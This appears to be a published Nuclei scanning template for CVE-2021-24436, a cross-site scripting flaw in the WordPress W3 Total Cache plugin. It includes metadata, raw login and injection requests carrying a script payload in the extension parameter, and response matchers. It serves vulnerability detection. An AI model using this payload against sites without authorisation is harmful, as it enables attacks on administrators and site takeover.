Skip to content

WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting

ID: CVE-2021-24436

Severity: medium

Author: theamanrawat

Tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,authenticated,boldgrid

WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user’s web browser, which could lead to full site compromise.

id: CVE-2021-24436
info:
name: WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: Fixed in version 2.1.4.
reference:
- https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
- https://wordpress.org/plugins/w3-total-cache/
- https://wpscan.com/vulnerability/05988ebb-7378-4a3a-9d2d-30f8f58fe9ef
- https://nvd.nist.gov/vuln/detail/CVE-2021-24436
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24436
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.4009
cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: boldgrid
product: w3_total_cache
framework: wordpress
tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,authenticated,boldgrid
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=w3tc_extensions&extension="%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_2 == 200
- contains(body_2, '><script>alert(document.domain)</script>&action=view')
- contains(header_2, "text/html")
condition: and
# digest: 490a004630440220159c138ca03b5f1329c45c8088ba90de7d36a01151cf1352f6e3ddae074152a102206d2012d7979d038d41a1dec9cd400d6bfb6131f8050190b7f550e8755fe24cd5:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24436.yaml"

View on Github